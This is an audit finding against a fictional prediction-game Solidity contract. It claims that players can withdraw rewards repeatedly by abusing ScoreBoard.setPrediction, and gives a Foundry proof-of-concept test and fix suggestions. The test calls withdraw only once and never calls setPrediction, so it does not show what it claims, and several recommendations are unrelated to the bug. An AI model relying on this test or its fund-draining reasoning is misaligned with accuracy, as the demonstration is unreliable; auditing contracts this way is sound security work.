Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The `ThePredicter::withdraw` function does not have a check to track for withdrawals, this means a player(s) can withdraw more than ones. This can drain funds from the protocol.

Summary

The ThePredicter::withdraw function gives access to player(s) to withdraw their rewards. But the ThePredicter::withdraw does not implement a check to ensure that player(s) do not make more than one withdrawal. This exposes the protocol to malicious player(s) that can make withdrawal calls more than once.

Vulnerability Details

function testPlayerCanWithdrawRewardsManyTimes() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.deal(stranger, 1 ether);
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
vm.stopPrank();
assertEq(stranger.balance, 1.0397 ether);
}

Root Cause
The setPrediction() in the ScoreBoard contract lacks proper access control, allowing unauthorized users to call it directly. above the test scenero, stranger was able to withraw multiple times after calling setprediction which in turn updates the state of isEligibleForreward() as withdraw function does not affect the status of playersPredictions[player].isPaid[matchNumber] = true;making stranger withdraws multiple 0.04ETH entranceFee. This manipulation allows users to increment their prediction count, making them eligible for rewards multiple times.

Impact

This would lead to more than one unauthorized withdrawal by player(s). This would lead to drainage of the protocols funds.

Tools Used

Manual Review

Recommendations

Access Control: The function can be written to give access control to the onlyOwner make withdraws and send rewards to players the are eligoble for rewards.
Proper CEI Pattern: Update state before making any external calls
Ensure Reward is Positive: Only proceed with the external call if the reward is positive
Division by Zero Handling: Ensure division by zero is handled properly
Non-negative Score: Require the player's score to be non-negative

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Multiple withdrawals are possible

`ThePredicter.withdraw` combined with `ScoreBoard.setPrediction` allows a player to withdraw rewards multiple times leading to a drain of funds in the contract.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.